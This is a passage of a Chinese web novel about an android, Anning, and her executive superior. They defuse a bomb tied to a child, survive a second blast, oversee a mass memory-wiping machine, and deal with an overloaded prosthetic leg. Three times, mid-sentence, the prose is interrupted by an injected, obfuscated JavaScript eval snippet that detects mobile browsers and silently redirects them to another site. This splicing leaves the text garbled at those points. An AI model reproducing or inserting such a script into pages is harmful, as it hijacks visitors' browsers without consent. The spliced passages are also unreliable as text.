执行官滑动地图,查看着下一个感染体的位置,闻言顿了顿。 他若有所思地看了安宁一眼,片刻收回视线,淡声道:“芯片可以监测与控制植入者的大脑,达成一些我们想要的效果,比如知觉迟钝,再比如将眼中的感染者过滤曲变为变异动物。” 在普通人的世界里,感染者是不存在的。 只有变异动物。 “她似乎后悔了。”安宁心中复杂。 安宁作为一个仿生人,其实一向对自己判断人类情感的准确度没有太大把握,但中年妇女最后一眼中盛装的绝望悲切太过浓稠,回望执行官时眼神的怨怼恨意,连她都能深切地感受到。 “得知真相的人很少不会后悔。”执行官说,“但幸运的是,她不必面对真相很久。” 8. 爆炸 他说这话时面色如常,看不出一点情绪。 话虽如此,安宁总觉得气压低沉。 地图上只剩下最后一个红点,在接近核心区的一处集合住宅群中。 住宅区外墙的墙皮已经大片大片地脱落了,露出部分土黄色的墙砖和生锈的钢筋,经年黄沙堆积填补上部分坑洼不平的墙体,风一吹尘土扬得如同刮起了一场沙尘暴,黑暗中尘风压得人喘不过气来。 跟从夜视仪上的投影位置,二人停在了一户居民宿舍门前,吊在门前照明的灯泡闪烁几下,半死不活地亮起了照不亮方圆半尺的昏黄灯光。 智脑自动为执行官开了门和灯。 外城区普通居民的房间比安宁住的员工宿舍逼仄许多,整个房间站在门口便一眼扫尽:房屋打理得干净整洁,没有多少物品却可见主人的生活用心,门口挂着一件荧光黄工服外套,虽说是统一工服,但安宁看着有些熟悉。 她多瞄了一眼,发现上面的工牌写着“方钰”二字。 原来这里是那位已死的好心中年清洁工女子的房间。 安宁调出这间房间的资料,显示有母女二人居住,女孩五岁,名叫方禾,便是曾和安宁在书卡馆外有过一面之缘的小女孩。 护目镜的地图投影显示屋子里有一个感染体,一个人类,都在房间的西北角,是卫生间的位置。 “这是……什么?” 推开吱呀作响的卫生间门,门后的场景令安宁瞠目结舌。 色彩缭乱的炸弹导线宛如爬山藤贴满了整个卫生间陈旧掉漆的墙体,带着稍有不慎便要将人炸个粉身碎骨的气势,错综复杂地连接到一个幼小的女孩的背后。 小女孩嘴里塞着毛巾,头发汗湿杂乱地贴在脸上,以一个极不舒服的姿势被双手反剪绑在马桶上;与之相对的另一角,湿漉漉的地面扔着一个顶到天花板的大型水箱,里面圈禁着一只不断撞击箱体的二期感染体,不断发出“咚咚”的骇人撞击声。 “呜呜……!” 看见人之后小女孩暗淡的眼睛变亮,口中呜咽,试图挣扎着站起来。 “诶,别乱动。”安宁连忙制止道。 导线线路布置错综复杂,女孩只稍稍挣扎一整面墙的导线也随之簌簌颤抖,安宁看得胆战心惊。 女孩不过五岁,估量着看身高还不到安宁的腰部,瘦弱得如同她的名字,像棵营养不良的小禾苗。 安宁找到女孩背后的炸弹装置,金属外壳看不清内部结构,但从墙壁的线路可以推断这炸弹的威力不小。 执行官叩击墙面地砖,在这屋子里转了一圈,检查是否还有暗藏的危险,观察片刻,得出结论, “炸弹可以拆,不过要费点时间。” 安宁拽出小女孩口中的毛巾,蹲在一旁看着执行官理线路,定神看了一会儿发现这线路虽然看起来声势浩大,兴师动众地用了层层加密技术,需要进行复杂的线路判断才能找到应该切断的引线,但实则外强中干,色厉内荏,并没有外表看起来那么骇人。 对于运算能力,人类终究比不过机器,执行官拆得比她的思路慢上一些,于是安宁也开始上手帮忙。 安宁边拆解着绕来绕去的导线,边心想按人类情感来讲应该安抚一下小女孩,执行官这个人类一言不发,只好由她这个冒牌人类硬着头皮上。 她略显不自然地揉了揉女孩的头:“别怕。” 方禾说:“谢谢姐姐,其实我没怕。” 安宁准备好的安慰的话哽在喉咙里,不上不下差点被噎到。 她看向一侧的执行官,发现他眼睛里有点浅淡的笑意,执行官也没有要帮她的意思,她冥思苦想下没话找话套近乎道, “其实我和你母亲认识,她人很善良,帮我修理过胳膊。” 为了提高可信度,安宁翻了翻外套口袋,找到了修好胳膊时顺手扔在里面的简易固定器,她还没来得及丢掉它,递给了方禾。 方禾瞬间提起了精神,睁大眼睛想起了什么,有些兴奋地问:“你就是安宁么?我妈妈每天下工回来都会和我讲发生的事,她和我讲过你。” 女孩似乎将这小小的固定器看做了信物,分外相信安宁,捎带着也很相信执行官。 “嗯……?”安宁边点头边跪在地上解导线,突然发现地上有些粉末沾到了她的身上,她用手捻了捻,觉得很奇怪,有些眼熟。 “这粉末……是哪里来的?”安宁向方禾问道。 她从电网缺口钻过来的时候,地上散落的也是这种白色粉末。 原本以为是锯断电网落下的粉尘,现在看来或许事有蹊跷。 方禾犹豫地辨认了半晌,想了想:“应该是妈妈下工回来身上带回来的粉末。” 方禾很宝贝安宁给她的固定器,紧紧攥在手心里,充满期待地问:“我的妈妈今天一直没有回来,姐姐看起来是塔的工作者,知道我的妈妈在哪里吗?” 安宁后知后觉地意识到自己说错话了——方钰已死,她本不应该提起方钰。 她一时不知如何答话,后悔地直想把自己脑壳撬开看看是不是接触不良,只好又摸了摸方禾的头。 正苦恼如何交代时,在小女孩察觉不对之前,执行官直接将方禾捏晕了。 “下面的线离引线装置很近,小孩子动来动去比较危险。”执行官解释道。 安宁点点头也觉得有道理。 导线线路已经被理顺大半,剩下的部分很简单,几乎不用动脑。 安宁边拆边忧愁地问:“方钰是二期感染体具备传播性,方禾近距离接触了她,所以方禾会死吗?” “潜伏期长短不一,她也许明天就会死,也许能活到长大。” “阻断针呢?” 执行官声音平静:“阻断针只在感染二十四小时内注射有效,而且没有那么多阻断针可用。” 执行官取来卫生间挂着的毛巾,蹲下身擦干净小女孩脸上的脏乱污物,将地面杂物清除,准备开始拆弹的最后一步。 安宁心中总有种怪异的感觉,她想了想,将疑问说了出来:“谁会将这样的炸弹绑在一个才五岁的小女孩身上呢?我的意思是,他的目的是什么?” 无论方禾还是方钰,都只是G1最普通的民众,工作也是在垃圾场里清理垃圾,不像有仇家的样子。 那这炸弹……是冲着谁来的? “等等……”安宁不安道。 “我感应到了……”安宁不确定地说,“……方禾的下方好像有电磁信号波动。” “滴——” “嘭!!!” 震天裂地的爆炸声炸响耳边,火光冲天。 * 听到炸弹引爆提示音的一瞬间,或许是求生欲下的潜藏本能发挥了作用,安宁想也不想地捕捉到了那点微妙的电磁波动,反向进行干扰,成功让控制着炸弹引燃的系统陷入了短暂的卡顿,炸弹引爆停滞了五秒钟。 好在这颗炸弹的布置者不认为有人能够在几毫秒的时间内做出反应,并没有设置太复杂的防干扰系统,对安宁而言意念一动便顺利破开。 “咳咳咳!”安宁捂着脖子咳嗽。 滚滚浓重的黑烟蘑菇云般升起,空气中刺鼻的硝烟味蔓延,整栋楼本就老旧不堪年久失修,几乎被炸成了一片废墟,摇摇欲坠轰然倒塌。 执行官是个好上司,关切而不失距离感地问道:“呛到了?” “不是……”安宁艰难地说,“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108798|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …您能不能别提着我的后衣领了,勒得慌……” 爆炸的一瞬间,执行官反应极其迅速,拎着她和小女孩翻窗落地,躲在了掩体背后,连爆炸的余波飞石都未伤及几人分毫。 执行官说了声“抱歉”,松开了手。 他松得太急,安宁一个踉跄,差点栽到地上,又被执行官横臂捞起来,碰了一鼻子灰才算站稳当。 安宁尴尬地摸摸鼻子,转移话题:“刚才爆炸的并非方禾身上的炸弹,我们明明已经成功拆开了,也仔细检查过线路,没道理会炸,根据电磁波动的位置判断,有人在方禾身下的地面里埋了另一颗炸弹。” 她顿了顿,接着道:“感染体引导我们走到引爆点,方禾身上的炸弹是幌子,为了让人转移注意,放松警惕,让真正的炸弹引燃。” “这炸弹是冲您来的。” 执行官点点头表示赞同安宁一连串的推论,却不太在意是否“冲他而来”的样子,转而道:“多亏了有你在,这五秒很关键。” 听了夸赞安宁不免有些得意,原本想顺着杆子往上爬说“还好您带上我了,不然今天可要丧命于此”,又觉得在如此紧要关头大展身手后应该谦虚一点显得更加高深莫测,于是只故作深沉地“嗯”了一声。 执行官笑了笑。 安宁觉得他的心情在爆炸后竟反而变好一点,但也只是仿生人拙劣的猜测,那点看起来很不假面的笑稍纵即逝,仿佛错觉。 爆炸余波已过,不远处的房屋仍燃着熊熊烈火,执行官单手轻撑了下地面,站了起来。 安宁看着执行官的动作,不免想起他的腿。 外城区的建筑都很低矮,执行官的落地技巧显然也经受过极其严苛的专业特训,她并未感到撞击,力道都被化解掉了,落地翻滚的几圈稳定轻柔,但执行官的腿……怎么说也是有问题的,从三楼跳楼会不会有什么影响? 也许是思及此便会往别人身上加诸的心理因素,安宁盯着执行官的侧脸看,总觉得比刚才苍白几分。 执行官的走路姿势很正常,步伐沉稳闲适,从容自若。 按理说人类身体安装义肢都会有些或多或少的不适,但只从表面看他完全与常人无异。 执行官不见她跟上,回头便对上安宁的视线,问了句:“摔到了?” 安宁摇摇头:“我一点都没事,但您的……?” 还没待问出口话就被打断了,她的袖子被扯了扯。 小女孩遭此一番惊天动地的折腾,已经醒了,人显得呆呆愣愣的,看着大火吞噬的家缩在安宁的怀里很安静,没有哭,只是趴在安宁的背上,扒着她的肩一路无声。 他们回到塔前时已是凌晨四点,黎明前夕,暗色之下迸出一线青黄天光。 塔前用来放置感染体尸体的空地已经堆成了一座三米高的金字塔形状的山,安宁一眼看到方钰被压在层层叠叠的感染体之下的青紫面容,她的眼球往外突出,被挤压得几乎要掉出眼眶,情状分外可怖。 即便知晓小女孩的脑中有芯片,看到的不过是一堆一米多长的变异老鼠或别的动物,但安宁仍把方禾拢了过来,反按在自己肩膀上,不让小女孩再看。 过了一会儿,安宁模模糊糊地感到自己的肩膀衣服被洇出了一小滩湿润的水迹。 巡逻队整齐地配合着清理车,将最后一批压积成山的感染体铲起,装载到运输车上。 这场清理是一场彻底的单方面围剿,风卷残叶,无从反抗。 末了,其中一位朝安宁这处走来,向执行官机械地汇报进度: “感染体已装载完毕,开始运往因陀罗园区。另外,依照流程,清理感染体之后的记忆清洗也准备妥当,请您前往执行。” 9. 义肢 因陀罗园区的电网门随着初生的第一缕朝阳拉开,纯白的西式建筑反射着比太阳更加耀眼的洁净白光,楼顶白鸽雕塑双爪握于正三角标志尖端,嵌入的红石榴眼睛光华流转,振翅欲飞,宛如活物。 装载着感染体的清理车接连不断,流水般依次经过扫描检测,缓慢地通过电网门,开往左手边的楼栋,很快消失在安宁眼中。 执行官步入反方向的右手侧楼栋,安宁按捺着自己想左张右望的心思,偷眼打量着这是什么地方。 从正门进入,能看到这栋楼呈回字形中空,一楼中心放置着一个巨大的金属机器,八角笼形状,两层楼高,每一面都布满了密密麻麻的格子,格子如同抽屉,此时“抽屉”统一被抽出来了,大小将将够放入一个人的身形,看起来如同蜂巢。 巡逻组鱼贯而入,每个人都押着一个G1普通居民,按着流程将手中押着的人挨个放置入格子中,将每个人的头顶戴上电极头罩,偶有挣扎不休的便被注入了小剂量镇定剂。 巡逻组派来一人汇报道:“大人,这是第一批接受记忆清洗的人,都带到了,下一批还在陆续送来中。” “加上一个。”执行官道。 执行官把方禾从安宁的手中拉出来,让巡逻组带入队中,随后看了眼楼栋中心悬挂着的吊钟,道:“开始吧。” 大型机器发出轰鸣声,成千上万个格子同时插入本体,将人们送入机器内部后,机器闭合,变成了一个光滑金属表面的八面棱柱,丝毫看不出痕迹。 执行官步入控制室之后,仪器最顶端亮起了红灯。 “滴——记忆清洗中。” 安宁以及一众下级执行官,巡逻组等都没有进入控制室的权限,安宁只能半盯着回字楼中心的巨型机器运转,半百无聊赖地蹲在控制室门外画圈。 过了会儿,控制室门外只剩三人。 “你好,新队友。我是066。”沈卓打招呼道。 “077。”077伸出手,和安宁握了握。 沈卓一张嘴便停不下来,不说话牙痒似的凑到安宁身边,问:“那天是你把我敲晕在巷口的吧。” 安宁咽了咽口水,她本来看见066就有些心虚,如今被提起这茬难免紧张。 谁知沈卓竖起大拇指:“你身手真不错!” 077不如066那么话痨,打完招呼后便抱着她的枪倚着墙壁闭目养神,本不欲搭话,闻得此言额头青筋狠狠一跳,忍不住说, “是你身手太烂。” 沈卓同情地看了一眼安宁:“当他的下属一定很不容易吧,我懂你,我可是当了五年。” 安宁:? 她真诚地摇了摇头:“没有。” 沈卓说:“你太坚强了,我当年刚来塔那一年,可是被他虐得人比黄花瘦,隔三差五想哭着下九泉找妈妈,训练强度不是人啊。” 沈卓很是自来熟,越说越起劲,正要好交情地揽臂攀上安宁的肩膀,指尖都快搭上了,却突然差点和人撞上。 执行官上一秒还在控制室里,下一秒却不知道从哪里神出鬼没地冒出来,横插了一刀。 执行官向他这位下属点头致歉:“不好意思,忘了点东西。” 待沈卓反应过来,执行官已经取了瓶水,无事般刷开控制间的自动门又进去了,留下他伸出去的手在半空不上不下,只好莫名拐了个弯摸了摸自己的头。 正当此时,一楼正门门口传来一阵脚步嘈杂声。 “我们统领执行官大人动作真是迅速利落,监察庭还没到,记忆清洗已经开始了。” 人还未到,一道中年男子的声先至。 来人身材圆滚,挺着酒局饭桌上推杯换盏里泡涨的肚子,身后带着乌泱泱的保镖进来,人挤人地上了二楼。 他一张满月脸上堆笑,眼角眉头也尽是圆头钝角,乍一看倒是满面的和和气气,但脸庞肉太多将眼睛挤成了一条细缝,透出一股子精光。 安宁小声问道:“这是谁呀。” 077方才还在阖目养神,睁开眼如同豹子般警觉,低声道:“监察庭庭长,王奉延。” 控制间内。 “监察庭还没到,塔就擅自决定开始执行清洗,有点不合规矩吧。”王奉延笑着说。 执行官靠坐在椅子上,双手交握,见这位庭长来了也并不起身,只道:“塔与监察庭一条心,都一样为联邦做事,到与不到,我想没什么分别。” 他看了王奉延一眼,辨不出是喜是怒地说:“还是您觉得我办事不妥,才这么着急。” 王奉延被噎了一下,面上却笑得愈发熟络亲热:“长官这是什么话,你统领塔已经快十年了吧,之前可从来没有过一人连续担任十年最高执行官位置的先例,哪里轮得到我评判不妥当,我只是觉得还是按流程办事更好些。” 他接着道:“您是联邦最得力的左膀右臂,毫不夸张地说,如果您哪天卸任了,联邦便如同断了条腿,要残废咯……诶呦您看我这张蠢嘴,说错话了,您别介意,总之我这个新上任不过一年的庸人还要事事仰仗您的照拂。” 执行官透过观察窗看着正中心的巨型机器,似笑非笑地道:“一个小小的记忆清洗,也要劳烦监察庭庭长来检查,我们不敢说辛苦,您才是事必躬亲。” 王奉延当了四十多年人精才爬到这位置上,哪儿能听不出他这话并非恭维,有些懊悔自己沉不住气,听闻035说他并未被炸弹伤到,大惊之下亲自来跑了一趟。 这位监察庭庭长意识到自己搞不好已经被看破此行的目的,于是紧接着调开话题。 “其实我今天亲自来,不是为别的,只是……” 门外。 安宁踮脚扒着窗子,问:“他们在说什么。” 066比她扒得还起劲,答:“不知道,看不出来。” “您刚刚不是说会读唇语吗。” “那也得脸朝着我呀!” 077忍住翻白眼的冲动将二人提着领子薅走:“别乱看了,小心不守规矩被罚,总之王奉延狗嘴里吐不出象牙,不会是什么好话。” 保镖们没有进入控制间的权限,此时被迫停在门外。 这些保镖一身黑西装,肌肉壮得下一秒就要破衣爆体似的,负手站得气势汹汹,和安宁、066以及077面面相觑。 安宁略觉尴尬,但好在他们带着猫眼墨镜,不至于又傻又直地大眼瞪小眼,多少缓解了几分。 “监察庭庭长?好大的排场。”安宁看着这么多保镖,小声问。 077显然对其全无好感:“刚上任一年。” 沈卓对安宁解释道:“如果说塔是联邦政府的手,那么监察庭就是联邦的眼,手眼相互合作也相互制约,但这个王奉延很不安分。” 他接着说:“自从他上位,总想往塔里扩张自己的势力,可没少明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108799|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里暗里的往塔里安插人手,035就是一个。我看此人是想撑破肚皮,手眼通天了。” 谈论了几句监察庭庭长之后,又陷入了百无聊赖中。 安宁打了个哈欠问:“记忆清洗一共要多长时间啊。” 沈卓说:“一批人清洗是十分钟,全下来只需要两个小时,但王奉延来了,咱们什么时候能走,就不好说了。” “滋滋。” 安宁的智脑响起提示音。 她打开论坛界面,右上角冒出个小红点,有人传来条私人简讯。 近海是我:安宁,安宁在吗。 安宁想了想,戳着屏幕发送了答复。 福贵:在,聂博士,您好。 近海是我:不愧是高科技,真聪明。没错是我聂远山,这是我的私人加密账号,用塔内工作账号联系留下的痕迹太容易追溯,所以用它联络了你。 近海是我:你上司在吗? 近海是我:我给他发了消息,他没回复。 那头的信息蹦得飞快,安宁还没回复下一条就冒了出来,看起来似乎事情比较紧急。 她看了眼门牌号,打字回道。 福贵:执行官现在在因陀罗园区B2控制室里,您请说。 近海是我:快点,叫他现在就回来! 安宁敲响控制室的门。 执行官打开门,半倚在门边上低声问她:“怎么了。” 安宁把左手腕嵌入的智脑屏幕递给他看。 执行官将她的手腕拉过来,凑近了些,很认真地看了半晌。 他需要看屏幕,于是低下头来,眼眸低垂,和安宁离得很近,握着安宁手腕的指尖凉得她打了个激灵。 近海是我:转告他现在必须回来,义肢的负压已经达到120%了,再不回来卸掉义肢他大腿也别想要。 安宁也看见了聂博士发送的消息,于是仔细地瞧了瞧执行官,发现执行官脸色比起之前更加没有血色,也许是眼睫投下来的阴影,显得眼下有些青黑,整个人看起来透出几分不明显的疲惫。 执行官看完了聂博士发的消息,松开她的手腕,留给安宁一句:“帮我回复聂博士,他的监测机器出了问题,建议他排查维修。” 安宁将执行官的话原封不动地打还给聂博士,对方没有再回应,也不知是去检修仪器了还是气得跳脚。 过了会儿,聂博士开始平均每半个小时向安宁的账号里发送一条消息。 近海是我:140%。 近海是我:170% 近海是我:220% 近海是我:不是……你们俩怎么都不理我了。 近海是我:安宁你帮我看一眼,这款义肢是今年我新研制出来的,按照他的要求优先保障行动敏捷,满足作战强度,但缺点是对肢体末端损耗大,无法长时间佩戴,负压值随着佩戴上升,按理说负压到100%常人应该已经疼到在地上打滚了。 安宁扒回控制室的视窗看了一会儿,打字回复道。 福贵:聂博士,长官除了有些疲惫以外,行走没有问题。 近海是我:疲惫?!那就对了! 安宁被委此重任,很有职业素养地力求精准传达,见聂博士断章取义,似乎有曲解的嫌疑,补充道。 福贵:监察庭庭长看起来似乎比执行官大人更加疲惫。 近海是我:……难道真是我机器坏了? 10. 脑信号清洗机 并非安宁虚言,监察庭庭长在这两个小时里,坚持身体力行恪尽职守,拉着一众人员浩浩荡荡地开始了—— 拍摄工作记录片。 众保镖负手而立,一字排开,单足一踏,震天动地。 保镖们快要撑裂的黑西装里“蹭蹭蹭”地飞出十余台悬浮摄影机,包裹着肌肉胸膛的衣领耷拉下来,变瘪了点。 悬浮摄像机排兵布阵,360°上下翻飞旋转,力求找到王奉延最光彩照人的角度。 沈卓小声和安宁嚼舌根:“看到了吧,这就是为什么我刚才说‘不知道什么时候能下班’。王奉延活干得不多,记录邀功和宣传视频倒是样样齐全,一年里下来过G1几次?拍的素材够绕塔三圈。” 随行保镖们熟练地为监察庭庭长在巨型清洗机前搭好台子,王奉延挺了挺肚子,微笑着走了上去。 闪光灯雷暴般闪了几秒后,他清了清嗓子,示意调整到摄像模式。 王奉延露出一个和蔼慈祥的笑,开始了录制。 “各位好,我是监察庭庭长王奉延,请容我为大家介绍一下这台脑信号清洗机。” “脑信号清洗机顾名思义,用于清洗记忆。它与智脑相连,读取脑内芯片数据后经过精密出需要被更改的部分,清除旧记忆和植入新记忆都可以做到。” 他以一种沉痛的语气道:“众所周知,在几百年前的G1世纪,病毒蔓延肆虐的日子里,许多人类庇护所最终崩塌破灭的原因并非病毒,而是人们的恐慌。” “为了避免恐慌蔓延,联邦政府做出了许多努力,也取得了诸多显著成果,这台脑信号清洗机就是这顶皇冠上璀璨的明珠之一。” 王奉延的语气令安宁不太舒服,她皱了皱眉,有些不太想听下去了。 监察庭庭长庄重地抚摸着这台机器冷冰冰的金属外壁,步伐缓慢,悬浮式摄像机无死角地环绕着他,跟随着他的步伐漂浮移动。 他向摄像机露出侧脸:“清理之后,我们的机器会将人们送入梦乡,一觉醒来,无论是昨晚的彻夜枪声,恐怖的‘变异动物’,还是家人或朋友的消失,都只是梦幻泡影,不复存在了。” “这台机器消除了我们多少的苦难啊。” 最终,监察庭庭长慷慨激昂地说出了结束语:“多亏了这台精妙绝伦的脑信号清洗机,我们这个硕果仅存的庇护所,人类最后的文明,才能在病毒蔓延的末世中维持几百年的社会稳定啊。” 王奉延感叹地说:“这就是我们联邦的智慧,英明的总统女士,您伟大而仁慈。” 他拍了一圈,由于过于卖力且缺乏锻炼,拍到最后口干舌燥力竭声嘶,累得汗如雨下气喘如牛。 饶是如此,监察庭庭长仍然坚持检查了一遍素材,满意地点点头,在三分钟前消停下来一屁股坐回了控制室,一口气灌了一瓶水后从前胸口袋里掏出条花手绢擦汗。 聂博士发送的220%负压提醒的简讯是在这时来的,安宁观察了半晌,执行官云淡风轻地摆弄着控制间里的监测仪,监察庭庭长累得半死。 她回复聂博士之后,对面似乎陷入了深深的自我怀疑,排查义肢监测器故障去了。 机器清洗完毕之后,芯片放电将所有人送入梦乡,巡逻组开始动作。 人们醒来之后会发现自己处于家中,按部就班地开始进行一天的劳动。 王奉延在结束后又拍摄了许多资料照片,如沈卓吐槽的大大拖延了安宁等人的下班时间,在077脸臭成鲱鱼罐头之前拍到了足够多想要的照片,最终一脸美满地走出了因陀罗园区。 * 塔内。 G1科研层。 安宁从口袋里拿出了一只小号透明密封袋,袋子里面装着不多的白色粉末,是在方禾家收集的。 “麻烦您检查一下这份粉末的成分。”执行官对聂博士说道。 聂远山戴着白色手套,黄黑色的机油沾得斑斑点点,他见了执行官勃然大怒道:“你赶紧把义肢给我脱掉,从凌晨三四点开始我查到现在,差点把监测器全拆了重组,那玩意根本没坏!” 执行官点头:“是没坏,先谈正事。” 聂博士闻得此言,从牙缝里挤出来一句:“老头子我真是咸吃萝卜淡操心。” 他脱下手套问,“什么东西,从哪儿来的?” “在居民家中发现,感染体身上携带。” 安宁补充道:“其实我在外城区和核心区交接的电网处发现过一道缺口,缺口处也有这种粉末。” 聂远山点头:“我先做药物检测,结果出来后告诉你们。” 执行官向聂远山道了声谢,接着向安宁交代了一些填写资料工作日记总结之类的任务,叫安宁先去处理收尾工作。 安宁走之后,聂远山忍不住了。 他那把疏于打理的花白胡子气得一飞冲天,看着淡淡坐在一旁卸掉义肢的执行官,只觉快要一口气厥过去。 “今天凌晨3:15,监测线一秒窜高到90%,之后呈指数增长,这是残肢末端严重受损才会出现的数据。” “原本这款义肢支撑到你处理完整个清理负压值也不会高于50%,在上一次的试装中也没有问题。这次是怎么回事?你拿腿横扫钢板去了?怎么样,单挑成功了吗?钢板认输了吗?” 聂远山看着面前这位脊背挺直站立着的年轻人,心中半是生气半是感叹,直想指着鼻子骂几句犟种,茅坑里的石头又臭又硬。 十九岁时脾气就这样,二十九岁了表面看着温和好说话,实则半点没变,任谁规劝都没办法影响他半分。 执行官将爆炸发生的始末简略地讲了一遍,聂远山惊道:“三楼?你就那么拎着两个人跳下去了?你知不知道你的腿不能受强烈撞击。” “不是跳,是有技巧的落地翻滚。”执行官纠正道。 为了堵住聂博士的嘴,执行官从口袋里摸出来一只存储硬盘。 “什么?”聂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108800|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远山一边将硬盘插入终端读取,一边吹胡子瞪眼还要接着训,却在看到内容的下一秒半张着嘴,话头停滞半晌。 “这……这是……S001旧科研所的研究资料。”聂远山眼睛瞪大,难以置信地说,“旧科研所的资料不是都被烧毁了吗?你从哪儿找来的?还有吗?全都给我看看。” “只剩下这些了。”执行官道。 “是吗……”聂远山颇感失落。 聂远山接着仔细地翻看了几页,发现全是关于S001-β504仿生人项目的资料,部分缺失不全。 他叹了口气:“你这次把安宁带在身边,是想看她的反应?” 执行官将义肢放置在一旁,和之前相比双腿下半截裤管显得格外空荡。 他沉默不语。 “试探出来了?怎么样,安宁确实什么都不记得了吧。”聂远山问。 “她的芯核似乎丢了。” 执行官自顾自地打开医药箱,不甚用心地随意处理伤处,像对待一个死物。 聂远山翻看着资料,神情几分怀念:“找来旧科研所的资料没少费力气吧,是为了给安宁重制作一个芯核?话得说在前头,当年安宁是最高级别β504仿生人项目的唯一成功实验品,所用的材料不计成本不计精力,可以说是拿钱和人砸出来的项目。但现在材料都被封禁了,即便找来研究资料让我制作,也只能做一个仿制版本,达不到和原来一模一样。” 聂远山觑着执行官的表情,也不知道该不该说,纠结半晌还是提醒道:“安宁也无法通过仿制的芯核想起来以前的事儿。” 执行官静默地坐着,半张面容隐在阴影里,情绪不明。 聂远山突然想起了十年前被火海吞噬的S001科研院,那是一场至今未解的爆炸,将整个S001科研院百十年的成果燃尽于火焰中,他在一片混乱中于科研楼楼下发现倒在空地上的十九岁的少年,那时少年的惨状即便是常年和血肉模糊的感染体打交道的科研者也不忍细看。 聂远山拧了拧鼻子,仿佛又闻到了那天的硝烟味儿。 “我理解你的心情,”聂远山想了想道,“换位思考一下,如果我被唯一信任的人亲手所害背叛,性命垂危气息奄奄之际被弃身火海,最后落得双腿截肢终生病痛,我也一定恨得牙痒痒,把人抓住了大卸八块才算痛快。但你要是想让安宁想起来后好好算账,有债偿债有腿偿腿……” “您想多了,我不是为这个。”执行官被念得头疼。 “利益互换,我需要和她合作。” 聂远山收拾完用过的药膏和纱布,将医药箱放回原处,一回身见执行官又要穿上义肢,只觉天灵盖像被顶起的压力阀,嗡鸣旋转不止: “你腿坏了脑子也坏了?义肢还戴?!” “给我一支止痛剂。” 两道声音同时出口。 几个小时后,安宁的宿舍房门被敲响了。 是坐着轮椅的执行官。 11. 吃饭 安宁填完执行官交代给她的一干表格,只觉得精力槽耗空,被资本家压榨成了人干。 她回到员工宿舍之后睡了一会儿,但由于执行任务跑来跑去消耗体力过大,还没睡醒就被饿醒了,被肚子叫得没办法,决定爬起来填饱肚子。 安宁睡眼朦胧,迷迷糊糊地下意识去翻冰箱,摸到一半突然想起来她刚搬到这里,冰箱里不可能有食物,又想智脑账户里余额被资本家执行官扣成了负一亿多,都快沦为黑户了,也没办法在楼下的营养液贩卖处买营养液。 原本只是下意识的动作没报希望,但她抱着撞彩票的心态打开冰箱,却意外地却发现冰箱里有许多食材,并且很新鲜,不知道是谁放进去的。 开火做饭,她烧了一锅水,员工宿舍不大,热水烧开后整个屋子的温度都上升了一些。 安宁按照人类膳食建议的健康比例下入一些绿叶菜,菌菇类,根茎块茎类,蛋白质类,再加入适量盐调味。 执行官就是在这时来的。 “长官,您怎么来了。”安宁看清来人是谁时打了个激灵,半睡不醒的眼皮撑了起来。 她现在有种看到执行官就进入备战状态的毛病。 “中午好。”执行官温和地打招呼。 难道是让她去上班? 才休息几个小时……! 好在执行官的目的看起来并非如此。 执行官礼貌地问了可不可以进来后,熟稔地进了房间,没有丝毫局促,仿佛这里是他的宿舍而不是安宁的。 他没穿那身气场压人的制服,换了一身日常薄毛衣,仍然是暗色的,但材质原因显得多了一分柔软。 安宁按着礼仪周全地给执行官倒了杯水,招待道:“您随便坐,就拿这儿当自己的家。” 执行官笑了笑,点头:“好。” “刺啦——” 厨房响起刺耳的一声,汤锅的水冒了出来,顺着锅壁一路浇到了火苗上,冒起烟来。 “咕嘟咕嘟——” 锅盖被溢起的泡沫顶得直响。 安宁快速道:“长官,我在煮汤。” 执行官说:“谢谢,我确实还没吃饭。” “……” 安宁没想到他这么说,哽了一下。 和他打招呼的本意是她要去厨房关火,而不是邀请他一起吃饭,但想到执行官是上司,最好不要顶撞上司,本着职业精神只好回他, “……您不用谢。” 员工宿舍的厨房很窄,没有隔断,安宁在这厢搅动锅里的食物,执行官在那厢打开了冰箱。 安宁这才注意到他带来了一袋满当当的食材,在往冰箱里放,并顺手把冰箱里的食材重新整理好了。 察觉到安宁的视线,执行官道:“这是包食宿里食的部分。” 锅里的食材随着时间慢悠悠地被煮软了下去,随着水蒸气熏出来的是一股难以言喻的混合味道。 安宁对制作人类的食物不太有经验。 汤里的食材太过丰富,水又放得有些少了,导致一锅越煮越粘稠,食材颜色杂乱,煮来煮去融合变化成了半灰半褐色,淀粉类加之安宁往里面打进去的碎鸡蛋,一锅汤沸腾泥沼似的不停地冒泡,总之卖相不太好看。 锅底快要糊了,安宁又向里面加入了一些水,混合均匀,调制到能入口的稠度之后,关掉了火。 